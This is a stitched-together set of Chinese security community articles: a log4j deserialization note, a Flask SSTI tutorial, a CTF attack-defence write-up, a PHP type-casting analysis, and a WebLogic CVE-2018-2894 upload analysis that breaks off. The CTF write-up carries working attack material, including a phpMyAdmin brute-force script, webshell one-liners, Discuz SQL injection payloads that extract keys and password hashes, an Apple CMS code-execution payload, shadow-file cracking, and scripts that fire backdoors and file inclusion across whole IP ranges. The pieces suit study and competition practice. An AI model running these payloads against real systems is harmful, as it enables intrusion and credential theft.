对象实际上就是我们前面最开始封装的 **ObjectInputStreamLogEventBridge** 这个类。所以这里实际上调用的是
**ObjectInputStreamLogEventBridge#logEvents** 方法。
而在 **ObjectInputStreamLogEventBridge#logEvents** 方法中自然就看到了我们的反序列化触发点。
#### 漏洞修复
当然针对反序列化漏洞修复一般都是在 **resolveClass** 或者 **resolveProxyClass** 处进行检查，这个也不例外。
检查方法
**org.apache.logging.log4j.core.util.FilteredObjectInputStream.resolveClass**
，判断类名是否是 **org.apache.logging.log4j.** 开头。
## 0x03 小结
emmmm，CVE-2019-17571这个洞可以说是混kpi了，然后log4j这种Tcp分布式传输日志的方式蛮少见的，利用面不好判断，不过如果在内网环境下可能有一定的利用面吧。 | 社区文章 |
**SSTI(服务器端模板注入)**
在python的SSTI类型里主要框架为：jinja2，mako，tornado，django，flask内默认使用的模板渲染引擎为jinja2所以其语法也一致
**SSTI漏洞成因**
当用户输入的数据没有被合理的处理控制和过滤时，有可能插入程序从而改变程序的执行逻辑，因而导致敏感信息泄露，代码执行，getshell
**Flask基本语法**
* {{ ... }}：装载一个变量，渲染模板的时候，会使用传进来的同名参数将这个变量代表的值替换掉
* {% ... %}:装载一个控制语句 if..
* {# ... #}:装载一个注释，模板渲染的时候会忽略这中间的值
过滤器:在html中传入的变量进行处理，其格式{{变量|过滤器}}，以变量作为参数的函数返回处理后的结果upper()/lower()/length()函数等..
**搭建Flask环境--以pycharm为例**
pip install virtualenv 安装虚拟环境
python -m virtualenv env 开启虚拟环境
pip install flask 安装flask
即在本机访问<http://127.0.0.1:5000/> 便可得到hello 2333！
**route路由**
app.route("..")route装饰器的作用是将函数与url绑定起来，使用route()告诉Flask什么样的URL能够触发函数
带参数的路由
当你在地址栏中输入<http://127.0.0.1:5000/hello/Sviivya0-> 将看到Hello
Sviivya0-这个字样,URL里的参数被作为参数传进来当然还有int，float，path
| 转换类型 | 作用 |
| ------------ | -------------- |
| int | 整型 |
| float | 浮点型 |
| path | 可以有斜杠，字符型 |
多路由规则：则访问/和/hello都不带参数为空
路由规则还可以设置请求方法get，post等..
路由也可绑定ip和端口，使用debug便于调试不用每次重跑程序，ctrl+C即可更新web网站内容
**Flask渲染方法**
Flask的渲染方法分为两种:render_template(),render_template_string()
1. render_template()函数渲染指定文件，函数会自动在templates文件夹中找到对应的html(模板文件)，所以不用写完整的html文件路径，即可直接跳转页面
```python
from flask import Flask,render_template
app = Flask( **name** )
@app.route('/')
def index():
context = {
'username':'ssss',
'gender':'yyyy'
}
return render_template('index.html',**context)
if **name** == ' **main** ':
app.run(debug=True,use_reloader=False)
2. render_template_string()函数用来渲染一个字符串这里列出一个的SSTI例子
```python
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
if __name__ == '__main__':
app.debug = True
app.run()
漏洞的成因在于：render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串，且code是可控的，因为flask是基于jinja2的
所以可以利用此语法，传入参数{{8*8}}会发现返回值为64 可以看到表达式被执行了
还可以进行xss弹窗写入
这里普及一下flask框架请求上下文requests中的args获取请求参数的方式（args只获取地址栏的参数部分get请求还是post请求！
在别的师傅博客中看到了这样一段代码
所以在这里普及一下python中的sys.argv[]的用法：总的来讲sys.argv[]就是从外部（用户所输入的参数）获取参数的桥梁，一个列表sys.argv[0]为程序本身
sys.argv[]其实就是一个列表，里面的项为为用户输入的参数，这就是从程序外部输入的
**小结**
这是我在学习ssti路上对基础的一些总结希望能够帮到初学者们拉~后续会继续更新漏洞利用方式等等~ | 社区文章 |
# 两次ctf线下赛渗透测试及攻防记录
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为800元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
> 本文主要记录某两次线下赛的部分解题过程。涉及预留后门、sql注入等知识点，做了一些解题记录分享给大家。
## 线下赛1
### 渗透靶机1—10.10.10.131
使用nessus扫描靶机，发现靶机存在ms17-010漏洞，这个是永恒之蓝的漏洞
于是使用metasploit进行攻击
### 渗透靶机2—10.10.10.254
0x01御剑扫描发现存在phpmyadmin目录，并且可以访问，抓包分析请求包，然后写python脚本进行登录爆破。
请求包是这样的，留意红色框框，base64解码之后可以发现其实就是我输入的用户名和密码、
直接使用burp爆破后被限制访问，后来知道它限制了使用burp爆破，于是写脚本爆破[代码]
#coding=utf-8
import requests
import base64
def get_b64_u_p(passwdFile):
username='root'
pF=open(passwdFile,'r')
for line in pF.readlines():
password=line.strip('r').strip('n')
print "[+] Trying: "+username+"/"+password
if(login(base64.b64encode(username+':'+password))):
break
def login(b64_u_p):
url="http://10.10.10.254/phpMyAdmin/";
headers={
'Host': '10.10.10.254',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Cookie': 'phpMyAdmin=905a110bc7a3544de32bc6bd01a88c7e78236bf8; pma_lang=zh-utf-8; pma_charset=utf-8; pma_collation_connection=utf8_general_ci; pma_fontsize=82%25; pma_theme=original; tz_offset=28800',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Authorization': 'Basic '+b64_u_p #cm9vdDphYWFh
}
req=requests.get(url=url,headers=headers)
if "错误" not in req.content:
print '[#]Find username/password : '+base64.b64decode(b64_u_p)
return 1
return 0
get_b64_u_p('password.txt')
结果
于是直接登进phpmyadmin写shell
select ‘<?php [@eval](https://github.com/eval "@eval")($_POST[a]);?>’ into
outfile ‘/var/www/a.php’
后面可以知道这是我们的攻防机
并得到后台密码，后台密码也是ssh的登录密码
### 攻防—渗透其他队伍的内网攻防机
利用攻防机10.10.10.254作为跳板机渗透其他队伍的内网攻防机192.168.10.128
这台攻防机有两个网卡ip分别是10.10.10.254和192.168.10.254
其他选手的攻防机所在的网段是192.168.xx.xx
这里需要知道的是因为选手机所在的网段是10.10.xx.xx是没办法直接访问网段192.168.xx.xx的，所以要攻击对手的话我们需要使用我们自己的一台攻防机来作为攻击的跳板机，其中有一台我后面发现存在ms10_002_aurora漏洞，这是一个浏览器漏洞。因为所有队伍攻防机的初始配置都是一样的，所以我后面想到利用这个漏洞，
利用思路是:
先在自己的攻防机192.168.10.254上面挂一个ms10_002_aurora漏洞利用的黑页，然后如果对手使用了跳板机上有浏览器漏洞的机子访问了我们的攻防机192.168.10.254的话，就会触发漏洞反弹一个shell给我们。
**利用过程如下**
例如对手的一台存在该漏洞的跳板机是192.168.10.128
我们先挂载上漏洞利用的网页在我们的10.10.10.128:8080/exploit
然后我们在自己的攻防机10.10.10.254上的index.html中添加上一句iframe
(也就是挂载上了192.168.10.254这台攻防机上)
然后对手的一台存在该漏洞的跳板机192.168.10.128访问了我们的192.168.10.254这台攻防机
(因为对手要攻击我们的攻防机获取flag，所以对手一般都会使用跳板机的浏览器去访问我们攻防机的web网站)
这时候就会触发漏洞反弹一个shell给我们，由此我们就成功渗透进了对手的192.168.10.128这台内网机子。
## 线下赛2
### 环境说明
拓扑图
拓扑图是主办方在后阶段发的，刚开始的网络结果全部要自己去探测。
比赛是渗透+AWD攻防模式，一个队伍有十台信息点靶机(用户名为info1-info10)和5台攻防机(用户名score1-score5)，要先渗透进自己的信息点机才能够进一步渗透进自己的攻防机，是个多级内网的结构。
**主要思路就是:**
> 渗透进信息点机获取相应的flag和信息，然后渗透进自己的攻防机，然后在跳板机上对其他队伍进行攻击渗透。
### 渗透info4—ip 192.1.1.14
这是一个discuz7.2的网站
自己电脑的ip为192.1.1.1
faq.php文件存在sql注入，sql注入的原理参考
<https://www.waitalone.cn/discuz72-faq-sql-injection.html>
在Discuz中，uc_key是UC客户端与服务端通信的通信密钥，获取到uc_key之后就可以计算出code,导致
/api/uc.php中存在代码写入漏洞。
这题拿shell主要思路是:获取uc key然后计算出code最后xml注入getshell
(为了更好的说明，附上本人复现的截图)
uc_key长度为64位，需要注入两次才能拿到完整的uc_key
payload
获取前62位
faq.php?action=grouppermission&gids[99]=’&gids[100][0]=) and (select 1 from
(select count( _),concat(floor(rand(0)_ 2),0x23,(select substr(authkey,1,62)
from ucenter.uc_applications limit 0,1),0x23)x from information_schema.tables
group by x)a)%23
获取最后两位
faq.php?action=grouppermission&gids[99]=’&gids[100][0]=) and (select 1 from
(select count( _),concat(floor(rand(0)_ 2),0x23,(select substr(authkey,63,2)
from ucenter.uc_applications limit 0,1),0x23)x from information_schema.tables
group by x)a)%23
最后获得uc_key为
m5B4W93cV8ebvfb392l7Ias8PeLcl9LbSc29LeZcP9i6kc08t4X4u85bHbma77Dc
计算出code [代码]
<?php
$timestamp = time()+10*3600;
$host="http://10.10.10.1/Discuz_7.2_SC_UTF8/upload";
$uc_key="m5B4W93cV8ebvfb392l7Ias8PeLcl9LbSc29LeZcP9i6kc08t4X4u85bHbma77Dc";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
echo $code;
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE')
{
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16))
{
return substr($result, 26);
}
else
{return '';}
}
else
{return $keyc.str_replace('=', '', base64_encode($result));}
}
?>
抓包/api/uc.php 并填写上相应的code的值，以及加上xml注入的数据
一句话的路径在<http://192.1.1.14/config.inc.php> ，密码是cmd
于是可以获取到信息点的flag
使用下列语句注入出info4的后台登录账号密码和盐salt的值
/faq.php?action=grouppermission&gids[99]=’&gids[100][0]=) and (select 1 from
(select count( _),concat((select concat(username,0x3a,password,0x3a,salt,0x23)
from ucenter.uc_members limit 0,1),floor(rand(0)_ 2))x from
information_schema.tables group by x)a)%23
得到
info4:6f6decc4a51d89665f38cec4bc0ca97d:e114251
密码的加密方式是
$salt = substr(uniqid(rand()), -6);//随机生成长度为6的盐
$password = md5(md5($password).$salt);//discuz中密码的加密方式
直接拿去md5网站解密得到rampage
后来发现这个账号密码也是info4的ssh的登录账号密码
### 渗透info1—苹果cms ip为192.1.1.11
存在命令执行漏洞
漏洞原理参见<https://www.cnblogs.com/test404/p/7397755.html>
getshell的payload是
[http://192.1.1.11/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}](http://192.1.1.11/index.php?m=vod-search&wd=%7Bif-A:assert\(%24_POST%5Ba%5D\)%7D%7Bendif-A%7D)
得到webshell之后可以看到score1shadow_backup文件和
password_is_phone_num13993xxxxxx，知道密码开头的五位数是13993
然后shadow文件里面是score1的密码密文
$6$xNmo17Zn$4GqSN/zccHMud9uJgY7kGhU4W.ss4fMxQ9yNsQ/oWubYWE0xHf9.BuD5umI0wUhj8s2J1kH0L0JfhFEKu8u52/:17465:0:99999:7:::
然后写脚本生成6位数的字典
[代码]
f=open('zidian.txt','w')
for i in range(0,1000000):
length=len(str(i))
if(length==1):
tmp='00000'+str(i)
if(length==2):
tmp='0000'+str(i)
if(length==3):
tmp='000'+str(i)
if(length==4):
tmp='00'+str(i)
if(length==5):
tmp='0'+str(i)
if(length==6):
tmp=str(i)
f.write('13993'+tmp+'r')
f.close()
再使用john工具爆破得到密码明文
破解shadow的命令
john —wordlist 字典文件 shadow文件
john —wordlist zidian.txt shadow.txt
然后查看数据库配置文件，有注释说这是从info2迁移的，连接数据库是info2用户，得到info2的密码为call911，然后登录上info2后在home目录发现mysql
history，打开后发现是创建了一个info8的用户，密码为arkteam。
## 攻防
### score1上是一个wordpress 4.7.x的网站
#### 1.预留后门
<?php [@eval](https://github.com/eval "@eval")($_GET[‘cmd’]); ?>
exp[代码]
import requests
part_url="/wp-includes/rest-api/endpoints/class-wp-rest-relations-controller.php?cmd=system('cat /opt/xnuca/flag.txt');"
for i in range(1,22):
try:
ip1='192.121.'+str(i)+'.31'
ip='http://192.121.'+str(i)+'.31'
full_url=ip+part_url
res=requests.get(url=full_url,timeout=2)
# print res.status_code
if res.status_code!=404:
print ip1
print res.text
except Exception,e:
pass
#### 2.文件包含漏洞
漏洞文件/wp-content/plugins/wp-vault/trunk/wp-vault.php
参数wpv-image存在文件包含，漏洞关键代码如下[代码]
// Load CSS, JS files, or invoke file handler.
function wpv_init() {
if (isset($_GET["wpv_file_id"])) {
include(dirname(__FILE__) . "/wpv-file-handler.php");
exit;
}
else if (isset($_POST["wpv-tooltip"])) {
include(dirname(__FILE__) . "/ajax-response/wpv-tooltip.php");
exit;
}
else if (isset($_GET["wpv-image"])) {
include(dirname(__FILE__) . "/images/" . $_GET["wpv-image"]);
exit;
}
else if (isset($_GET["wpv-css"])) {
if (file_exists(dirname(__FILE__) . "/css/" . $_GET["wpv-css"] . ".css")) {
header("Content-type: text/css");
include(dirname(__FILE__) . "/css/" . $_GET["wpv-css"] . ".css");
exit;
}
else if (file_exists(dirname(__FILE__) . "/css/" . $_GET["wpv-css"] . ".css.php")) {
header("Content-type: text/css");
include(dirname(__FILE__) . "/css/" . $_GET["wpv-css"] . ".css.php");
exit;
}
}
文件包含利用exp[代码]
import requests
part_url='/wp-content/plugins/wp-vault/trunk/wp-vault.php?wpv-image=../../../../../opt/xnuca/flag.txt'
for i in range(1,22):
try:
ip1='192.121.'+str(i)+'.31'
ip='http://192.121.'+str(i)+'.31'
full_url=ip+part_url
res=requests.get(url=full_url,timeout=2)
# print res.status_code
if res.status_code!=404:
print ip1
print res.text
except Exception,e:
pass
#### 3.kittycatfish 2.2插件 存在sql注入
注入点1 ：/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0
注入点2：wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0
都是kc_ad参数，可以使用盲注直接load_file读取flag文件
#### 4\. olimometer插件存在sql注入
注入点：/wp-content/plugins/olimometer/thermometer.php?olimometer_id=1
olimometer_id参数可以盲注直接load_file读取flag文件
#### 5\. easy-modal插件存在sql注入
同样存在sql盲注，但是首先得登录进后台才能利用
### score4是一个joomla3.x网站
#### 1.存在变形的预留后门
<?php ($ _=@$_GET[2]).@$_ ($_POST[1])?>
路径在/components/com_facegallery/controllers/update.php
利用payload
?2=assert post system(‘cat /opt/xnuca/flag.txt’);
exp [代码]
import requests
shell='/components/com_facegallery/controllers/update.php?2=assert'
for i in range(1,22):
try:
ip='http://192.121.'+str(i)+'.34'
full_url=ip+shell
print ip
post_data={"1":"system('cat /opt/xnuca/flag.txt');"}
res=requests.post(url=full_url,data=post_data)
# print res.status_code
print res.text
except Exception,e:
pass
### 小弟能力有限，欢迎各位大师傅们补充。 | 社区文章 |
作者：xd_xd
作者博客：<http://xdxd.love/>
#### solveme.peng.kr winter sleep
solveme是一个CTF的练习平台，其中winter sleep题目是这样的。
<?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
输入一个字符串，通过is_numric的判断，要大于5184000小于777600，最后通过sleep函数，就可以输出flag。显然，如果输入一个较大的数，会sleep很长时间。需要一个数大于5184000，然后int之后又要是一个很小的数。
解决的方案是这样的：
<?php
echo 60 * 60 * 24 * 30 * 2;
echo "\n";
echo 6e6;
echo "\n";
echo (int)'6e6';
echo "\n";
echo 60 * 60 * 24 * 30 * 3;
可以看以上脚本输出内容:
5184000
6000000
6
7776000
使用科学计数法。
看了一些writeup，只是给出了解决的办法，但是并没有详细的说明，为什么会这样。有的地方提到说是弱类型，虽然这几次比较存在类型的自动转换，但是跟我理解的弱类型的自动转换存在差异。所以想要探究一番。
#### 黑盒测试
可以看到当接收到科学计数法表示的字符串跟一个整型变量运算(‘6e6’-0)，6e6自动并不是自动转换成了int型，而是转换成了float，所以最终的数字是float型的6000000。最后两行代码可以直接的说明了问题。使用int强制转换一个科学计数法表示的字符串，转换过程中并不能识别科学计数法，只是把e当做普通字符了。效果跟6a6是一样的。而用float转成浮点数，则可以成功识别科学计数法。
#### feature or bug
我的感觉是这应该是php的一个bug。同一个字符串，转换成int型和float型有着两种解释。正常的逻辑应该是(int)’6e6’ =
(int)(float)’6e6’。这样才比较符合正常的一个理解逻辑。
找了几个php的版本，分别做了下测试：
测试脚本如下：
import docker
client = docker.from_env()
php_versions = ['5.3','5.4','5.5','5.6', '7.0','7.1','7.2']
for version in(php_versions):
php = "php:"+version + "-cli"
print(php)
print("echo((int)'6e6')")
print(client.containers.run("php:"+version+"-cli", '''php -r "echo((int)'6e6');"'''))
print("echo((float)'6e6')")
print(client.containers.run("php:"+version+"-cli", '''php -r "echo((float)'6e6');"''’))
结果如下：
➜ dockerpy python phptest.py
php:5.3-cli
echo((int)'6e6')
6
echo((float)'6e6')
6000000
php:5.4-cli
echo((int)'6e6')
6
echo((float)'6e6')
6000000
php:5.5-cli
echo((int)'6e6')
6
echo((float)'6e6')
6000000
php:5.6-cli
echo((int)'6e6')
6
echo((float)'6e6')
6000000
php:7.0-cli
echo((int)'6e6')
6
echo((float)'6e6')
6000000
php:7.1-cli
echo((int)'6e6')
6000000
echo((float)'6e6')
6000000
php:7.2-cli
echo((int)'6e6')
6000000
echo((float)'6e6')
6000000
在php7.0以前的版本中(int)’6e6’结果是6，但是在7.1以后的版本中，(int)’6e6’已经是6000000，符合(int)’6e6’ =
(int)(float)’6e6’这个逻辑了。
#### php内核分析
以下内容引用自《php7内核剖析》：
PHP是弱类型语言，不需要明确的定义变量的类型，变量的类型根据使用时的上下文所决定，也就是变量会根据不同表达式所需要的类型自动转换，比如求和，PHP会将两个相加的值转为long、double再进行加和。每种类型转为另外一种类型都有固定的规则，当某个操作发现类型不符时就会按照这个规则进行转换，这个规则正是弱类型实现的基础。
除了自动类型转换，PHP还提供了一种强制的转换方式:
* (int)/(integer)：转换为整形 integer
* (bool)/(boolean)：转换为布尔类型 boolean
* (float)/(double)/(real)：转换为浮点型 float
* (string)：转换为字符串 string
* (array)：转换为数组 array
* (object)：转换为对象 object
* (unset)：转换为 NULL
无论是自动类型转换还是强制类型转换，不是每种类型都可以转为任意其他类型。
4.1.3 转换为整型
其它类型转为整形的转换规则：
* NULL：转为0
* 布尔型：false转为0，true转为1
* 浮点型：向下取整，比如：(int)2.8 => 2
* 字符串：就是C语言strtoll()的规则，如果字符串以合法的数值开始，则使用该数值，否则其值为 0（零），合法数值由可选的正负号，后面跟着一个或多个数字（可能有小数点），再跟着可选的指数部分
* 数组：很多操作不支持将一个数组自动整形处理，比如：array() + 2，将报error错误，但可以强制把数组转为整形，非空数组转为1，空数组转为0，没有其他值
* 对象：与数组类似，很多操作也不支持将对象自动转为整形，但有些操作只会抛一个warning警告，还是会把对象转为1操作的，这个需要看不同操作的处理情况
* 资源：转为分配给这个资源的唯一编号
具体处理：
ZEND_API zend_long ZEND_FASTCALL _zval_get_long_func(zval *op) { try_again:
switch (Z_TYPE_P(op)) {
case IS_NULL:
case IS_FALSE:
return 0;
case IS_TRUE:
return 1;
case IS_RESOURCE:
//资源将转为zend_resource->handler
return Z_RES_HANDLE_P(op);
case IS_LONG:
return Z_LVAL_P(op);
case IS_DOUBLE:
return zend_dval_to_lval(Z_DVAL_P(op));
case IS_STRING:
//字符串的转换调用C语言的strtoll()处理
return ZEND_STRTOL(Z_STRVAL_P(op), NULL, 10);
case IS_ARRAY:
//根据数组是否为空转为0,1
return zend_hash_num_elements(Z_ARRVAL_P(op)) ? 1 : 0;
case IS_OBJECT:
{
zval dst;
convert_object_to_type(op, &dst, IS_LONG, convert_to_long);
if (Z_TYPE(dst) == IS_LONG) {
return Z_LVAL(dst);
} else {
//默认情况就是1
return 1;
}
}
case IS_REFERENCE:
op = Z_REFVAL_P(op);
goto try_again;
EMPTY_SWITCH_DEFAULT_CASE()
}
return 0;
}
4.1.4 转换为浮点型
除字符串类型外，其它类型转换规则与整形基本一致，就是整形转换结果加了一位小数，字符串转为浮点数由zend_strtod()完成，这个函数非常长，定义在zend_strtod.c中，这里不作说明。
书中提到，字符串转换为整型，是C语言strtol()的规则，由ZEND_STRTOL函数完成的，字符串转换成浮点数，是用zend_strtod函数完成的。
对比一下C语言的strtol和strtod
strtol不能识别科学计数法，字符串6e6转成整型是6，而strtod可以识别科学计数法，6e6转成浮点数是6000000。
#### 动态调试php内核
#### 编译debug版php。
git clone http://git.php.net/repository/php-src.git
cd php-src
git checkout PHP-7.0
./buildconf
./configure --disable-all --enable-debug --prefix=$HOME/myphp
make
make install
#### gdb调试
gdb --args php -r "echo((int)'6e6');”
在类型转换函数上下断点：
b _zval_get_long_func
可以看到使用zend_strtol函数进行转换。
zent_strtol 直接是使用strtoll。
调试一下7.1版本php
可以看到7.1版中使用了新的函数is_numeric_string替代strtoll。注释中说明使用新函数是为了避免strtoll的溢出问题，自己实现了is_number_string函数来替代strtoll。然而并没有提到科学计数法表示的字符串的问题。但是实际实现上跟strtoll有不同。妥善的处理科学计数法表示的数字。
最终的字符串转整型的逻辑如下：
最终的处理逻辑是如果发现了小数点或者数字e，就采用zend_strtod来处理，这样就跟字符串转浮点数是一模一样的处理逻辑了。所以最终的结果也就符合了(int)’6e6’
= (int)(float)’6e6’这个逻辑。
#### 思考
那么这到底是个bug还是feature呢。最终的结果来看，php7.0及以前的版本使用strtoll转字符串到整型，7.1以后的版本使用了strtod来转换。所以strtoll不能识别科学计数法表示的数字是不是一个bug。
#### 参考资料
* solveme.peng.kr的中文writeup:<http://www.freebuf.com/articles/web/165537.html>
* php源码调试的文章:<https://gywbd.github.io/posts/2016/2/debug-php-source-code.html>
* php7内核分析：<https://github.com/pangudashu/php7-internal>
* * * | 社区文章 |
# WebLogic 两处任意文件上传漏洞动态分析（CVE-2018-2894）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者：Ivan**
## 0x01 前言
CNCERT前几天发公告称发现Oracle公司出品的基于JavaEE结构的中间件WebLogic产品存在一个远程上传漏洞，并得到了厂商的确认，危害程度评分高达9.8分。鉴于厂商已进行了安全修复，笔者对该漏洞进行了一次分析。WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do；漏洞的影响范围
Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.2，12.2.1.3；相关链接：
<http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html#AppendixFMW> ,
下文笔者从这两个文件入手来系统调试跟踪找出漏洞产生的原理和位置。
## 0x02 漏洞流程
笔者首先访问了一下 <http://IP/ws_utc/config.do> 并且将默认的目录WSTestPageWorkDir修改了为
user_projects\domains\base_domain\tmp\sd\ 如下图
工作台设置一个新的目录后，weblogic会将原来目录下的子目录和文件一起转移到新设定的目录下，但旧的目录依然保留。因为不是重点，笔者对这块的分析就此略过。笔者从攻击者的维度简单的画了一个草图，最初攻击者肯定需要配置工作目录，因为默认的工作目录在URL访问的时候不可达，然后攻击者考虑是从config.do页面上传keystore文件还是从begin.do上传，最终都是成功上传小马，只是小马的访问格式和路径不尽相同。如下图
如果要从原理上彻底搞清楚weblogic漏洞产生的过程还需要看下图，简单的描述一下，攻击者开始攻击后，Weblogic在服务端做了很多的判断，如果设定了新的工作目录，那么程序会自动拷贝所有旧目录下的子目录和文件到新的设定目录里，并且设定新的目录作为工作目录，如果攻击者通过begin.do上传的话，Weblogic在服务端会判断有没有upload目录，如果不存在会自动创建，再接着在upload目录下创建Rs_Upload_格式化后的作为目录名，紧接着获取到import_file_name字段名作为后续的文件名拼接的一部分；如果通过config.do上传的话就获取GET请求中的timestamp参数作为后续webshell的文件名中的一部分，还是看下图吧：
## 0x03 begin.do页面上传漏洞
首先在IDE里搭建好WebLogic环境，把应用跑起来后点击页面右上方的文件夹按钮，这里实现的是一个导入的功能
选择任意文件上传，笔者选择上传jsp文件
抓取数据包可以看到其实真正存在上传漏洞的地址是
<http://IP:7001/ws_utc/resources/ws/config/import?timestamp=1532403983779>
因为是漏洞复现和分析，笔者一边上传的时候就一边把数据包抓取下来，得到下图的HTTP
这段没什么可说的就是一个简单的上传数据流，表单字段import_file_name是关键值，从产品防御的角度来看检测它们也是关键的特征之一。
接下来就需要在IDE里动态定位到漏洞的触发点，因为weblogic大多数漏洞都和T3协议有关联，根据之前分析过的weblogic漏洞定位的调试断点是在com.bea.core.weblogic.rmi.client_4.0.0.0.jar包里，多次调试后一步步跳转到了漏洞触发的核心包
\user_projects\domains\base_domain\servers\AdminServer\tmp\\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar
---
并且查到了对应的触发漏洞类名的位置 ：
\com\oracle\webservices\testclient\ws\util\RSDataHelper.class
定位到的方法convertFormDataMultiPart，代码如下：
public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment) {
File pathFile = new File(TestClientRT.getUploadDir());
if (!pathFile.exists()) {
pathFile.mkdirs();
}
this.cleanObsoleteFile(pathFile);
String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();
return this.convertFormDataMultiPart(formPartParams, isExtactAttachment, uploadPath);
}
代码中检查了当前工作目录下是否存在upload目录，如果没有的话则创建，并且调用了cleanObsoleteFile方法强制遍历了一次目录中所有的文件，并且发现文件就删除掉，调试过程如下图
再创建了一个以字符串Rs_Upload_打头的加格式化后的时间命名的目录，并且作为上传文件保存的目录。
String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();
接下来程序获得了上传的表单的form-data ,
经过循环遍历获取了所有的表单字段和对应的value，数据做两块存储，一块保存在kvMap集合中、获取的附件通过saveAttacheFile方法保存到磁盘中，代码如下
String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath(); kvMap.addValue(key, filename);
if (isExtactAttachment)
{
this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
} else {
kvMap.put(key, new ArrayList());
}
下图红圈处是拼接后的物理路径名
接着追踪调试到 execute方法，位于ImportTestCaseAction.class类
\user_projects\domains\base_domain\servers\AdminServer\tmp\\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar!\com\oracle\webservices\testclient\ws\action\ImportTestCaseAction.class
public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment) {
File pathFile = new File(TestClientRT.getUploadDir());
if (!pathFile.exists()) {
pathFile.mkdirs();
}
this.cleanObsoleteFile(pathFile);
String dirName = "RS_Upload_" + df.format(new Date());
String uploadPath = (new File(pathFile, dirName)).getAbsolutePath();
return this.convertFormDataMultiPart(formPartParams, isExtactAttachment, uploadPath);
由于笔者导入的文件格式以及数据并非weblogic能处理的，所以程序在context.createUnmarshaller方法处抛出空指针异常的错误，这就导致了上传成功后Response的状态码是500，这也可以作为防御产品检测的特征之一。动态调试异常如下图
到此begin.do页面未授权访问引起的任意文件上传漏洞已经很明朗，防御的策略可以检测表单字段
Content-Disposition: form-data; name=”import_file_name”; filename=”jsp.jsp”
---
加上返回的状态码500，并且ResponseBody 如下
导入测试错误com.oracle.webservices.testclient.exception.WSTestRuntimeException:
javax.xml.bind.UnmarshalException – with linked exception: [Exception
[EclipseLink-25004] (Eclipse Persistence Services – 2.5.2.v20140319-9ad6abd):
org.eclipse.persistence.exceptions.XMLMarshalException Exception Description:
An error occurred unmarshalling the document Internal Exception
---
## 0x04 config.do页面上传漏洞
访问 <http://IP:7001/ws_utc/config.do>
页面后点击左侧的“安全”菜单，添加一个Keystore，任意设置名字和密码，当然文件也是任意格式上传，这里真的很随意。
点击提交后，抓取触发地址：
<http://IP/ws_utc/resources/setting/keystore?timestamp=1532400069848> ; 抓取的包如下
和之前的套路一样，上传的时候就已经打开了IDE调试功能，断点后还是定位到 RSDataHelper.class 文件，如下图
这次获取的表单字段是ks_filename，值得收藏，加入特征检测范畴内；再跟进看下关键的shell生成那一步
